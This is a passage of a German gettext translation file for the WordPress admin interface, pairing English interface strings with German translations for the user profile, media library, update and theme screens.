wp-admin/user-edit.php:502 msgid "Contact Info" msgstr "Kontaktinfo" #: wp-admin/user-edit.php:463 msgid "Display name publicly as" msgstr "Öffentlicher Name" #: wp-admin/user-edit.php:458 msgid "Nickname" msgstr "Spitzname" #: wp-admin/user-edit.php:453 wp-admin/user-new.php:520 msgid "Last Name" msgstr "Nachname" #: wp-admin/user-edit.php:448 wp-admin/user-new.php:516 msgid "First Name" msgstr "Vorname" #: wp-admin/user-edit.php:442 msgid "Super admin privileges cannot be removed because this user has the network admin email." msgstr "Diesem Benutzer können nicht die Super-Administratoren-Rechte entzogen werden, da dieser Benutzer als E-Mail-Adresse die des Netzwerk-Administrators hat." #: wp-admin/user-edit.php:440 msgid "Grant this user super admin privileges for the Network." msgstr "Gewähre diesem Benutzer Super-Administratoren-Rechte für das gesamte Netzwerk." #: wp-admin/user-edit.php:410 msgid "Usernames cannot be changed." msgstr "Benutzernamen können nicht geändert werden." #: wp-admin/user-edit.php:337 msgid "Show Toolbar when viewing site" msgstr "Werkzeugleiste für mich auf der Website anzeigen" #: wp-admin/user-edit.php:327 msgid "<a href=\"https://wordpress.org/support/article/keyboard-shortcuts/\" target=\"_blank\">More information</a>" msgstr "<a href=\"https://wordpress.org/support/article/keyboard-shortcuts/\" target=\"_blank\">Mehr Informationen (engl.)</a>" #: wp-admin/user-edit.php:325 msgid "Enable keyboard shortcuts for comment moderation." msgstr "Tastaturkürzel für die Kommentarmoderation aktivieren." #: wp-admin/user-edit.php:291 msgid "Disable syntax highlighting when editing code" msgstr "Die Syntaxhervorhebung beim Bearbeiten von Code deaktivieren" #: wp-admin/user-edit.php:288 msgid "Syntax Highlighting" msgstr "Syntaxhervorhebung" #: wp-admin/user-edit.php:268 msgid "Disable the visual editor when writing" msgstr "Beim Schreiben den visuellen Editor nicht benutzen" #: wp-admin/user-edit.php:265 msgid "Visual Editor" msgstr "Visueller Editor" #: wp-admin/user-edit.php:260 msgid "Personal Options" msgstr "Persönliche Optionen" #: wp-admin/user-edit.php:233 wp-admin/users.php:622 msgctxt "user" msgid "Add Existing" msgstr "Bestehenden hinzufügen" #: wp-admin/user-edit.php:212 msgid "Error while saving the new email address. Please try again." msgstr "Fehler beim Speichern der neuen E-Mail-Adresse. Bitte versuche es nochmal." #: wp-admin/user-edit.php:205 msgid "← Go to Users" msgstr "← Zurück zu „Benutzer“" #: wp-admin/user-edit.php:202 msgid "User updated." msgstr "Benutzer aktualisiert." #: wp-admin/user-edit.php:200 msgid "Profile updated." msgstr "Das Profil wurde aktualisiert." #: wp-admin/user-edit.php:195 msgid "This user has super admin privileges." msgstr "Dieser Benutzer hat Super-Administratoren-Rechte." #: wp-admin/user-edit.php:71 msgid "<a href=\"https://wordpress.org/support/article/users-your-profile-screen/\">Documentation on User Profiles</a>" msgstr "<a href=\"https://wordpress.org/support/article/users-your-profile-screen/\">Dokumentation über Benutzerprofile (engl.)</a>" #: wp-admin/user-edit.php:59 msgid "Remember to click the Update Profile button when you are finished." msgstr "Vergiss nicht, zum Schluss auf den Button „Profil aktualisieren“ zu klicken." #: wp-admin/user-edit.php:58 msgid "Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so." msgstr "Obligatorisch auszufüllende Eingabefelder werden als solche markiert. Die Eingaben unter „Kontaktinfo“ oder „Über dich“ werden nur angezeigt, falls das verwendete Theme entsprechend eingerichtet ist. Für gewöhnlich ist das nicht der Fall." #: wp-admin/user-edit.php:57 msgid "You can log out of other devices, such as your phone or a public computer, by clicking the Log Out Everywhere Else button." msgstr "Durch Anklicken des Buttons „Überall sonst abmelden“ kannst du dich von anderen Geräten wie zum Beispiel deinem Smartphone oder einem öffentlich zugänglichen Computer abmelden." #: wp-admin/user-edit.php:56 msgid "Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts." msgstr "Der Benutzername kann nicht geändert werden. Jedoch können die anderen Felder ausgefüllt und anschließend ausgewählt werden, welcher Name (Benutzername, Realname, Spitzname) öffentlich – zum Beispiel in Beiträgen – angezeigt werden soll." #: wp-admin/user-edit.php:55 msgid "You can select the language you wish to use while using the WordPress administration screen without affecting the language site visitors see." msgstr "Du kannst die Sprache auswählen, die du im WordPress-Administrationsbereich (Backend) benutzen willst, ohne Auswirkungen auf die Sprache, die Besucher deiner Website (im Frontend) zu sehen bekommen." #: wp-admin/user-edit.php:54 msgid "You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens." msgstr "Du kannst unter anderem dein Passwort ändern, Tastaturkürzel aktivieren, das Farbschema deines WordPress-Administrationsbereichs ändern oder den visuellen Editor deaktivieren. Du kannst die Werkzeugleiste (vorher Adminleiste genannt) im Frontend deiner Website verbergen, allerdings nicht im Administrationsbereich." #: wp-admin/user-edit.php:53 msgid "Your profile contains information about you (your “account”) as well as some personal options related to using WordPress." msgstr "Dein Profil enthält die Informationen deines Benutzerkontos und einige persönliche Einstellungen für die Benutzung von WordPress." #. translators: %s: User's display name. #: wp-admin/user-edit.php:38 msgid "Edit User %s" msgstr "Benutzer %s bearbeiten" #: wp-admin/upload.php:360 msgid "Error saving media file." msgstr "Fehler beim Speichern der Mediendatei." #. translators: %s: Number of media files. #: wp-admin/upload.php:352 msgid "%s media file restored from the Trash." msgid_plural "%s media files restored from the Trash." msgstr[0] "%s Mediendatei aus dem Papierkorb wiederhergestellt." msgstr[1] "%s Mediendateien aus dem Papierkorb wiederhergestellt." #: wp-admin/upload.php:349 wp-admin/upload.php:362 msgid "Media file restored from the Trash." msgstr "Mediendatei aus dem Papierkorb wiederhergestellt." #. translators: %s: Number of media files. #: wp-admin/upload.php:339 msgid "%s media file moved to the Trash." msgid_plural "%s media files moved to the Trash." msgstr[0] "%s Mediendatei in den Papierkorb verschoben." msgstr[1] "%s Mediendateien in den Papierkorb verschoben." #: wp-admin/upload.php:336 wp-admin/upload.php:361 msgid "Media file moved to the Trash." msgstr "Mediendatei in den Papierkorb verschoben." #. translators: %s: Number of media files. #: wp-admin/upload.php:327 msgid "%s media file permanently deleted." msgid_plural "%s media files permanently deleted." msgstr[0] "%s Mediendatei endgültig gelöscht." msgstr[1] "%s Mediendateien endgültig gelöscht." #: wp-admin/upload.php:324 wp-admin/upload.php:359 msgid "Media file permanently deleted." msgstr "Mediendatei endgültig gelöscht." #. translators: %s: Number of media files. #: wp-admin/upload.php:315 msgid "%s media file detached." msgid_plural "%s media files detached." msgstr[0] "%s Mediendatei getrennt." msgstr[1] "%s Mediendateien getrennt." #: wp-admin/upload.php:312 msgid "Media file detached." msgstr "Mediendatei getrennt." #. translators: %s: Number of media files. #: wp-admin/upload.php:303 msgid "%s media file attached." msgid_plural "%s media files attached." msgstr[0] "%s Mediendatei angehängt." msgstr[1] "%s Mediendateien angehängt." #: wp-admin/upload.php:300 msgid "Media file attached." msgstr "Mediendatei angehängt." #: wp-admin/upload.php:260 msgid "Media items list" msgstr "Medienelementliste" #: wp-admin/upload.php:259 msgid "Media items list navigation" msgstr "Navigation der Medienelementeliste" #: wp-admin/upload.php:258 msgid "Filter media items list" msgstr "Medienelementliste filtern" #: wp-admin/upload.php:246 msgid "If a media file has not been attached to any content, you will see that in the Uploaded To column, and can click on Attach to launch a small popup that will allow you to search for existing content and attach the file." msgstr "Falls eine Datei in keinem Beitrag oder Seite verwendet wird, so wird dies in der Spalte „Hochgeladen zu“ kenntlich gemacht. Mit einem Klick auf „Verknüpfen“ kannst du Beiträge oder Seiten suchen, mit denen du die Datei verknüpfen möchtest." #: wp-admin/upload.php:244 msgid "Attaching Files" msgstr "Dateien verknüpfen" #: wp-admin/upload.php:238 msgid "Hovering over a row reveals action links: Edit, Delete Permanently, and View. Clicking Edit or on the media file’s name displays a simple screen to edit that individual file’s metadata. Clicking Delete Permanently will delete the file from the media library (as well as from any posts to which it is currently attached). View will take you to the display page for that file." msgstr "" "Bei Mauszeigerkontakt einer Datei in der Liste werden zusätzliche Optionen angezeigt: Bearbeiten, Endgültig löschen und Anschauen.\n" "Beim Klick auf „Bearbeiten“ werden die Metadaten der Datei angezeigt und können auch bearbeitet werden. Ein Klick auf „Endgültig löschen“, löscht eine Datei aus der Mediathek und von allen Beiträgen, in der sie verwendet wurde. „Anschauen“ öffnet eine Seite, auf welcher die Datei angezeigt wird." #: wp-admin/upload.php:229 msgid "You can narrow the list by file type/status or by date using the dropdown menus above the media table." msgstr "Du kannst die Liste nach Dateityp/-status oder Datum eingrenzen, indem du die Drop-down-Menüs über der Medientabelle verwendest." #: wp-admin/upload.php:228 msgid "All the files you’ve uploaded are listed in the Media Library, with the most recent uploads listed first. You can use the Screen Options tab to customize the display of this screen." msgstr "Alle über die Oberfläche von WordPress hochgeladenen Dateien werden in der Mediathek angezeigt. Standardmäßig werden die zuletzt hochgeladenen Dateien zuerst angezeigt. Verwende den Tab „Ansicht anpassen“, um diese Seite für dich einzurichten." #. translators: %s: List view URL. #: wp-admin/upload.php:102 msgid "The grid view for the Media Library requires JavaScript. <a href=\"%s\">Switch to the list view</a>." msgstr "Die Raster-Ansicht der Mediathek benötigt JavaScript. <a href=\"%s\">Zur Listenansicht wechseln</a>." #: wp-admin/upload.php:75 wp-admin/upload.php:252 msgid "<a href=\"https://wordpress.org/support/article/media-library-screen/\">Documentation on Media Library</a>" msgstr "<a href=\"https://wordpress.org/support/article/media-library-screen/\">Dokumentation zur Mediathek (engl.)</a>" #: wp-admin/upload.php:69 msgid "You can also delete individual items and access the extended edit screen from the details dialog." msgstr "Vom Dialogfenster mit den Detailinformationen aus kannst du auch eine erweiterte Ansicht zur Bearbeitung aufrufen sowie einzelne Elemente löschen." #: wp-admin/upload.php:68 msgid "Use the arrow buttons at the top of the dialog, or the left and right arrow keys on your keyboard, to navigate between media items quickly." msgstr "Benutze die Pfeil-Buttons am oberen Rand oder die Pfeiltasten auf deiner Tastatur, um schnell zwischen den Medienelementen zu navigieren." #: wp-admin/upload.php:67 msgid "Clicking an item will display an Attachment Details dialog, which allows you to preview media and make quick edits. Any changes you make to the attachment details will be automatically saved." msgstr "Anklicken eines Elements öffnet ein Dialogfeld mit den Anhang-Detailinformationen, das dir eine Vorschau der Medieninhalte und schnelle Änderungen ermöglicht. Jede Detail-Änderung wird automatisch gespeichert." #: wp-admin/upload.php:58 msgid "To delete media items, click the Bulk Select button at the top of the screen. Select any items you wish to delete, then click the Delete Selected button. Clicking the Cancel Selection button takes you back to viewing your media." msgstr "Um Dateien aus der Mediathek zu löschen, klicke auf den Button „Mehrfachauswahl“ oben am Bildschirm. Wähle dann die Elemente aus, die du löschen möchtest und klicke auf den Button „Ausgewählte löschen“. Indem du auf „Auswahl abbrechen“ klickst, wird diese Aktion abgebrochen und du kommst in die Übersicht der Mediathek zurück." #: wp-admin/upload.php:57 wp-admin/upload.php:230 msgid "You can view your media in a simple visual grid or a list with columns. Switch between these views using the icons to the left above the media." msgstr "Du kannst deine Mediendateien in einem einfachen Raster oder als Liste mit Spalten ansehen. Zum Wechsel zwischen den beiden Ansichtsarten dienen die Icons links über den Mediendateien." #: wp-admin/upload.php:56 msgid "All the files you’ve uploaded are listed in the Media Library, with the most recent uploads listed first." msgstr "Alle Dateien, die du hochgeladen hast, werden in der Mediathek aufgelistet, die zuletzt hochgeladenen zuoberst." #: wp-admin/upgrade.php:153 msgid "Your WordPress database has been successfully updated!" msgstr "Deine WordPress-Datenbank wurde erfolgreich aktualisiert." #: wp-admin/upgrade.php:152 msgid "Update Complete" msgstr "Aktualisierung erfolgreich" #: wp-admin/upgrade.php:142 msgid "Update WordPress Database" msgstr "WordPress-Datenbank aktualisieren" #: wp-admin/upgrade.php:141 wp-admin/network/upgrade.php:143 msgid "The database update process may take a little while, so please be patient." msgstr "Die Aktualisierung der Datenbank könnte etwas dauern, bitte hab einen Moment Geduld." #: wp-admin/upgrade.php:140 msgid "WordPress has been updated! Before we send you on your way, we have to update your database to the newest version." msgstr "WordPress wurde aktualisiert! Ehe du dich drauf stürzen kannst, müssen wir noch deine Datenbank auf die neueste Version bringen." #: wp-admin/upgrade.php:139 wp-admin/network/upgrade.php:139 msgid "Database Update Required" msgstr "Es ist eine Aktualisierung der Datenbank notwendig" #: wp-admin/upgrade.php:73 msgid "Your WordPress database is already up to date!" msgstr "Deine WordPress-Datenbank ist aktuell!" #: wp-admin/upgrade.php:72 msgid "No Update Required" msgstr "Keine Aktualisierung notwendig" #: wp-admin/upgrade.php:64 msgid "WordPress › Update" msgstr "WordPress › Aktualisierung" #. translators: %s: File name. #: wp-admin/update.php:305 msgid "Installing theme from uploaded file: %s" msgstr "Installiere Theme aus hochgeladener Datei: %s" #. translators: %s: Theme name and version. #: wp-admin/update.php:278 msgid "Installing Theme: %s" msgstr "Installiere Theme: %s" #: wp-admin/update.php:272 msgid "Install Themes" msgstr "Themes installieren" #. translators: %s: File name. #: wp-admin/update.php:162 msgid "Installing plugin from uploaded file: %s" msgstr "Installiere Plugin aus hochgeladener Datei: %s" #. translators: %s: Plugin name and version. #: wp-admin/update.php:132 msgid "Installing Plugin: %s" msgstr "Installiere Plugin: %s" #: wp-admin/update.php:95 msgid "Plugin failed to reactivate due to a fatal error." msgstr "Das Plugin konnte aufgrund eines fatalen Fehlers nicht reaktiviert werden." #: wp-admin/update.php:91 msgid "Plugin reactivated successfully." msgstr "Das Plugin wurde erfolgreich reaktiviert." #: wp-admin/update.php:89 msgid "Plugin Reactivation" msgstr "Pluginreaktivierung" #: wp-admin/update-core.php:1012 msgid "Check again." msgstr "Erneut überprüfen." #. translators: 1: Date, 2: Time. #: wp-admin/update-core.php:1011 msgid "Last checked on %1$s at %2$s." msgstr "Zuletzt überprüft am %1$s um %2$s Uhr." #. translators: Current version of WordPress. #: wp-admin/update-core.php:1006 msgid "Current version: %s" msgstr "Aktuelle Version: %s" #: wp-admin/update-core.php:992 msgid "Please select one or more plugins to update." msgstr "Bitte wähle ein oder mehrere Plugins, die aktualisiert werden sollen." #: wp-admin/update-core.php:990 msgid "Please select one or more themes to update." msgstr "Bitte wähle ein oder mehrere Themes, die aktualisiert werden sollen." #: wp-admin/update-core.php:984 msgid "Here you can find information about updates, set auto-updates and see what plugins or themes need updating." msgstr "Hier findest du Informationen über Aktualisierungen, du kannst automatische Aktualisierungen einstellen und herausfinden, welche Plugins oder Themes aktualisiert werden müssen." #: wp-admin/update-core.php:970 msgid "<a href=\"https://wordpress.org/support/article/dashboard-updates-screen/\">Documentation on Updating WordPress</a>" msgstr "<a href=\"https://wordpress.org/support/article/dashboard-updates-screen/\">Dokumentation zur Aktualisierung von WordPress (engl.)</a>" #: wp-admin/update-core.php:954 msgid "Auto-updates can be enabled or disabled for WordPress major versions and for each individual theme or plugin. Themes or plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system." msgstr "Automatische Aktualisierungen können für die Hauptversionen von WordPress und für jedes einzelne Theme oder Plugin aktiviert oder deaktiviert werden. Bei Themes und Plugins mit aktivierten automatischen Aktualisierungen wird das voraussichtliche Datum der nächsten automatischen Aktualisierung angezeigt. Automatische Aktualisierungen hängen vom WP-Cron-Aufgabenplanungssystem ab." #: wp-admin/update-core.php:946 msgid "How to Update" msgstr "Wie aktualisiere ich WordPress?" #: wp-admin/update-core.php:940 msgid "<strong>Translations</strong> — The files translating WordPress into your language are updated for you whenever any other updates occur. But if these files are out of date, you can <strong>click the “Update Translations”</strong> button." msgstr "<strong>Übersetzungen</strong> – Die Dateien, die WordPress in deine Sprache übersetzen, werden für dich aktualisiert, sobald an anderer Stelle Aktualisierungen ausgeführt werden. Du kannst aber auch <strong>den Button „Übersetzungen aktualisieren“ klicken</strong>, wenn die Dateien nicht mehr aktuell sein sollten." #: wp-admin/update-core.php:937 msgid "<strong>Themes and Plugins</strong> — To update individual themes or plugins from this screen, use the checkboxes to make your selection, then <strong>click on the appropriate “Update” button</strong>. To update all of your themes or plugins at once, you can check the box at the top of the section to select all before clicking the update button." msgstr "<strong>Themes und Plugins</strong> – Um einzelne Themes oder Plugins auf diesem Bildschirm zu aktualisieren, markiere bitte die Auswahlfelder und <strong>klicke dann auf den zugehörigen Button „Aktualisierung“</strong>. Um alle Themes und Plugins auf einmal zu aktualisieren, wählst du das Kästchen oberhalb der Auswahl aus und klickst dann auf „Aktualisieren“." #: wp-admin/update-core.php:936 msgid "In most cases, WordPress will automatically apply maintenance and security updates in the background for you." msgstr "In den meisten Fällen wird WordPress Wartungs- und Sicherheits-Updates für dich automatisch im Hintergrund ausführen." #: wp-admin/update-core.php:936 msgid "<strong>WordPress</strong> — Updating your WordPress installation is a simple one-click procedure: just <strong>click on the “Update now” button</strong> when you are notified that a new version is available." msgstr "<strong>WordPress</strong> – Die Aktualisierung deiner WordPress-Installation ist jetzt noch einfacher: <strong>klick auf den Button „Jetzt Aktualisieren“</strong> sobald du einen Hinweis erhältst, dass eine neue Version verfügbar ist." #: wp-admin/update-core.php:926 msgid "If an update is available, you᾿ll see a notification appear in the Toolbar and navigation menu." msgstr "Sobald eine Aktualisierung verfügbar ist, siehst du einen Hinweis in der Werkzeugleiste und dem Navigationsmenü." #: wp-admin/update-core.php:925 msgid "On this screen, you can update to the latest version of WordPress, as well as update your themes, plugins, and translations from the WordPress.org repositories." msgstr "In dieser Ansicht kannst du WordPress auf die neueste Version aktualisieren. Deine Themes, Plugins und Übersetzungen kannst du hier ebenfalls auf den neuesten Stand bringen." #: wp-admin/update-core.php:922 wp-admin/update-core.php:983 msgid "WordPress Updates" msgstr "WordPress-Aktualisierungen" #: wp-admin/update-core.php:807 msgid "Update WordPress" msgstr "WordPress aktualisieren" #: wp-admin/update-core.php:766 msgid "New translations are available." msgstr "Es sind neue Übersetzungen vorhanden." #: wp-admin/update-core.php:756 wp-admin/update-core.php:764 msgid "Translations" msgstr "Übersetzungen" #: wp-admin/update-core.php:672 msgid "This update doesn’t work with your version of WordPress." msgstr "Diese Aktualisierung funktioniert nicht mit deiner WordPress-Version." #: wp-admin/update-core.php:638 msgid "This update doesn’t work with your versions of WordPress and PHP." msgstr "Diese Aktualisierung funktioniert nicht mit deiner WordPress- und PHP-Version." #: wp-admin/update-core.php:611 wp-admin/update-core.php:742 #: wp-admin/update-core.php:1143 wp-admin/update-core.php:1148 #: wp-admin/network/themes.php:84 msgid "Update Themes" msgstr "Themes aktualisieren" #. translators: %s: Link to documentation on child themes. #: wp-admin/update-core.php:604 msgid "<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href=\"%s\">child themes</a> for modifications." msgstr "<strong>Beachte bitte:</strong> Alle Anpassungen, die du an Theme-Dateien vorgenommen hast, werden verloren gehen. Ziehe in Erwägung, <a href=\"%s\">Child-Themes (engl.)</a> zu nutzen, um Modifikationen vorzunehmen." #: wp-admin/update-core.php:599 msgid "The following themes have new versions available. Check the ones you want to update and then click “Update Themes”." msgstr "Für folgende Themes liegen Aktualisierungen vor. Markiere diejenigen, die du aktualisieren möchtest und klicke auf „Themes aktualisieren“." #: wp-admin/update-core.php:592 msgid "Your themes are all up to date." msgstr "Alle Themes sind auf dem neuesten Stand." #. translators: 1: Plugin version, 2: New version. #. translators: 1: Theme version, 2: New version. #: wp-admin/update-core.php:553 wp-admin/update-core.php:717 msgid "You have version %1$s installed. Update to %2$s." msgstr "Du hast Version %1$s installiert. Aktualisiere auf Version %2$s." #. translators: %s: Plugin version. #: wp-admin/update-core.php:530 msgid "View version %s details." msgstr "Details der Version %s anzeigen." #: wp-admin/update-core.php:502 wp-admin/update-core.php:681 msgid "This update doesn’t work with your version of PHP." msgstr "Dieses Update funktioniert nicht mit deiner PHP-Version." #. translators: %s: WordPress version. #: wp-admin/update-core.php:485 wp-admin/update-core.php:494 msgid "Compatibility with WordPress %s: Unknown" msgstr "Kompatibilität mit WordPress %s: unbekannt" #. translators: %s: WordPress version. #: wp-admin/update-core.php:482 wp-admin/update-core.php:491 msgid "Compatibility with WordPress %s: 100%% (according to its author)" msgstr "Kompatibilität mit WordPress %s: 100 %% (laut Autor)" #: wp-admin/update-core.php:446 msgid "The following plugins have new versions available. Check the ones you want to update and then click “Update Plugins”." msgstr "Für die folgenden Plugins sind neue Versionen verfügbar. Markiere diejenigen, die du aktualisieren möchtest und klicke auf „Plugins aktualisieren“." #: wp-admin/update-core.php:433 msgid "Your plugins are all up to date." msgstr "Alle Plugins sind auf dem neuesten Stand." #: wp-admin/update-core.php:406 msgid "This site will not receive automatic updates for new versions of WordPress." msgstr "Diese Website wird keine automatischen Updates für neue Versionen von WordPress erhalten." #: wp-admin/update-core.php:402 msgid "Enable automatic updates for all new versions of WordPress." msgstr "Automatische Aktualisierungen für alle zukünftigen Versionen von WordPress aktivieren." #: wp-admin/update-core.php:395 msgid "This site is automatically kept up to date with maintenance and security releases of WordPress only." msgstr "Diese Website wird ausschließlich mit Wartungs- und Sicherheits-Updates von WordPress automatisch auf dem neuesten Stand gehalten." #: wp-admin/update-core.php:391 msgid "Switch to automatic updates for maintenance and security releases only." msgstr "Wechsle auf automatische Aktualisierungen nur für Wartungs- und Sicherheits-Updates." #: wp-admin/update-core.php:384 msgid "This site is automatically kept up to date with each new version of WordPress." msgstr "Diese Website wird automatisch mit jeder neuen Version von WordPress auf den aktuellsten Stand gebracht." #: wp-admin/update-core.php:382 msgid "This site appears to be under version control. Automatic updates are disabled." msgstr "Diese Website scheint unter Versionskontrolle zu stehen. Automatische Aktualisierungen sind deaktiviert." #: wp-admin/update-core.php:295 msgid "WordPress will only receive automatic security and maintenance releases from now on." msgstr "WordPress wird von jetzt an nur noch automatische Sicherheits- und Wartungs-Versionen erhalten." #: wp-admin/update-core.php:292 msgid "Automatic updates for all WordPress versions have been enabled. Thank you!" msgstr "Automatische Updates für alle WordPress-Versionen wurden aktiviert. Vielen Dank!" #. translators: 1: URL to About screen, 2: WordPress version. #: wp-admin/update-core.php:275 msgid "<a href=\"%1$s\">Learn more about WordPress %2$s</a>." msgstr "<a href=\"%1$s\">Erfahre mehr über WordPress %2$s</a>." #: wp-admin/update-core.php:270 msgid "While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, this mode will be deactivated." msgstr "Deine Website wird während des Aktualisierungsprozesses in einen Wartungsmodus geschaltet. Sobald die Aktualisierung abgeschlossen ist, wird der Wartungsmodus deaktiviert." #: wp-admin/update-core.php:257 msgid "You have the latest version of WordPress." msgstr "Du benutzt die aktuelle Version von WordPress." #: wp-admin/update-core.php:255 msgid "You are using a development version of WordPress." msgstr "Du benutzt eine Entwicklungsversion von WordPress." #: wp-admin/update-core.php:251 msgid "https://wordpress.org/support/article/updating-wordpress/" msgstr "https://wordpress.org/support/article/updating-wordpress/" #. translators: 1: Documentation on WordPress backups, 2: Documentation on #. updating WordPress. #: wp-admin/update-core.php:249 msgid "<strong>Important:</strong> Before updating, please <a href=\"%1$s\">back up your database and files</a>. For help with updates, visit the <a href=\"%2$s\">Updating WordPress</a> documentation page." msgstr "<strong>Wichtig:</strong> Vor der Aktualisierung bitte deine <a href=\"%1$s\">Datenbank und Dateien sichern (engl.)</a>. Hilfe bei Aktualisierungen erhältst du auf der Dokumentationsseite <a href=\"%2$s\">WordPress aktualisieren (engl.)</a>." #: wp-admin/update-core.php:243 msgid "An updated version of WordPress is available." msgstr "Es ist eine neue Version von WordPress verfügbar." #: wp-admin/update-core.php:202 msgid "Hide hidden updates" msgstr "Verborgene Aktualisierungen ausblenden" #: wp-admin/update-core.php:201 wp-admin/update-core.php:212 msgid "Show hidden updates" msgstr "Verborgene Aktualisierungen anzeigen" #. translators: %s: WordPress version. #: wp-admin/update-core.php:178 msgid "You are about to install WordPress %s <strong>in English (US).</strong> There is a chance this update will break your translation. You may prefer to wait for the localized version to be released." msgstr "Du bist dabei, WordPress %s in <strong>Englisch (US)</strong> zu installieren. Es kann sein, dass diese Aktualisierung deine Übersetzung beschädigt. Du solltest vielleicht besser warten, bis eine lokalisierte Version erschienen ist." #: wp-admin/update-core.php:173 msgid "This localized version contains both the translation and various other localization fixes." msgstr "Diese lokalisierte Version beinhaltet sowohl die Übersetzung als auch verschiedene Fehlerbehebungen von Lokalisierungen." #: wp-admin/update-core.php:167 msgid "Bring back this update" msgstr "Diese Aktualisierung wieder einblenden" #: wp-admin/update-core.php:165 msgid "Hide this update" msgstr "Diese Aktualisierung ausblenden" #. translators: 1: Installed WordPress version number, 2: URL to WordPress #. release notes, 3: New WordPress version number, including locale if #. necessary. #: wp-admin/update-core.php:132 msgid "You can update from WordPress %1$s to <a href=\"%2$s\">WordPress %3$s</a> manually:" msgstr "Du kannst von WordPress %1$s auf <a href=\"%2$s\">WordPress %3$s</a> manuell aktualisieren:" #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required MySQL version number, 4: Current MySQL version number. #: wp-admin/update-core.php:123 wp-admin/upgrade.php:119 msgid "You cannot update because <a href=\"%1$s\">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s." msgstr "Du kannst nicht aktualisieren, weil <a href=\"%1$s\">WordPress %2$s</a> MySQL-Version %3$s oder höher erfordert. Du verwendest die Version %4$s." #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required PHP version number, 4: Current PHP version number. #: wp-admin/update-core.php:114 wp-admin/upgrade.php:110 msgid "You cannot update because <a href=\"%1$s\">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s." msgstr "Du kannst nicht aktualisieren, weil <a href=\"%1$s\">WordPress %2$s</a> PHP-Version %3$s oder höher erfordert. Du verwendest die Version %4$s." #. translators: 1: URL to WordPress release notes, 2: WordPress version number, #. 3: Minimum required PHP version number, 4: Minimum required MySQL version #. number, 5: Current PHP version number, 6: Current MySQL version number. #: wp-admin/update-core.php:103 wp-admin/upgrade.php:99 msgid "You cannot update because <a href=\"%1$s\">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s." msgstr "Du kannst nicht aktualisieren, da <a href=\"%1$s\">WordPress %2$s</a> mindestens die PHP-Version %3$s und die MySQL-Version %4$s voraussetzt. Du verwendest die PHP-Version %5$s und die MySQL-Version %6$s." #. translators: %s: WordPress version. #: wp-admin/update-core.php:72 msgid "Re-install version %s" msgstr "Version %s erneut installieren" #: wp-admin/update-core.php:68 msgid "You can update to the latest nightly build manually:" msgstr "Du kannst manuell auf den neuesten Nightly Build aktualisieren:" #: wp-admin/update-core.php:61 msgid "Update to latest nightly" msgstr "Update auf den aktuellen Nightly Build" #: wp-admin/update-core.php:23 wp-admin/update-core.php:1050 #: wp-admin/update-core.php:1086 wp-admin/update-core.php:1126 #: wp-admin/update-core.php:1166 wp-admin/update-core.php:1195 msgid "Sorry, you are not allowed to update this site." msgstr "Du bist leider nicht berechtigt, diese Website zu aktualisieren." #. translators: %s: URL to Import screen. #: wp-admin/tools.php:77 msgid "If you want to convert your categories to tags (or vice versa), use the <a href=\"%s\">Categories and Tags Converter</a> available from the Import screen." msgstr "Wenn du deine Kategorien in Schlagwörter umwandeln willst (oder umgekehrt), benutze den <a href=\"%s\">Kategorie-in-Schlagwort-Konverter</a> der unter Werkzeuge → Daten importieren verfügbar ist." #: wp-admin/tools.php:55 msgid "<a href=\"https://wordpress.org/support/article/tools-screen/\">Documentation on Tools</a>" msgstr "<a href=\"https://wordpress.org/support/article/tools-screen/\">Dokumentation zu Werkzeugen (engl.)</a>" #: wp-admin/tools.php:49 msgid "The Categories and Tags Converter link on this screen will take you to the Import screen, where that Converter is one of the plugins you can install. Once that plugin is installed, the Activate Plugin & Run Importer link will take you to a screen where you can choose to convert tags into categories or vice versa." msgstr "Wenn du auf den Link des Kategorie- und Schlagwort-Konverters klickst, wirst du auf eine Seite geleitet, auf welcher du den Konverter als Plugin installieren kannst. Sobald der Konverter als Plugin installiert wurde, kannst du ihn benutzen, indem du auf dieser Seite erneut auf den Link des Konverters klickst. Anschließend kannst du Kategorien in Schlagwörter umwandeln (oder umgekehrt)." #: wp-admin/tools.php:48 msgid "Categories have hierarchy, meaning that you can nest sub-categories. Tags do not have hierarchy and cannot be nested. Sometimes people start out using one on their posts, then later realize that the other would work better for their content." msgstr "Kategorien sind hierarchisch, das bedeutet, du kannst Unterkategorien anlegen. Schlagwörter sind nicht hierarchisch und können nicht untergeordnet werden. " #: wp-admin/themes.php:651 msgid "Install Parent Theme" msgstr "Eltern-Theme installieren" #: wp-admin/themes.php:584 msgctxt "theme name" msgid "Name" msgstr "Name" #: wp-admin/themes.php:575 wp-admin/network/themes.php:429 msgid "The following themes are installed but incomplete." msgstr "Die folgenden Themes sind installiert, aber nicht vollständig." #: wp-admin/themes.php:574 msgid "Broken Themes" msgstr "Beschädigte Themes" #: wp-admin/themes.php:526 wp-admin/themes.php:873 msgctxt "theme" msgid "Active:" msgstr "Aktiv:" #: wp-admin/themes.php:395 wp-admin/themes.php:734 msgid "New version available. <button class=\"button-link\" type=\"button\">Update now</button>" msgstr "Es ist eine neue Version verfügbar. <button class=\"button-link\" type=\"button\">Jetzt aktualisieren</button>" #: wp-admin/themes.php:296 wp-admin/network/themes.php:407 msgid "Theme will no longer be auto-updated." msgstr "Das Theme wird nicht mehr automatisch aktualisiert." #: wp-admin/themes.php:292 wp-admin/network/themes.php:398 msgid "Theme will be auto-updated." msgstr "Das Theme wird automatisch aktualisiert." #: wp-admin/themes.php:288 msgid "Theme could not be resumed because it triggered a <strong>fatal error</strong>." msgstr "Das Theme konnte nicht wiederhergestellt werden, da es einen <strong>fatalen Fehler</strong> ausgelöst hat." #: wp-admin/themes.php:284 msgid "Theme resumed." msgstr "Theme wiederhergestellt." #: wp-admin/themes.php:280 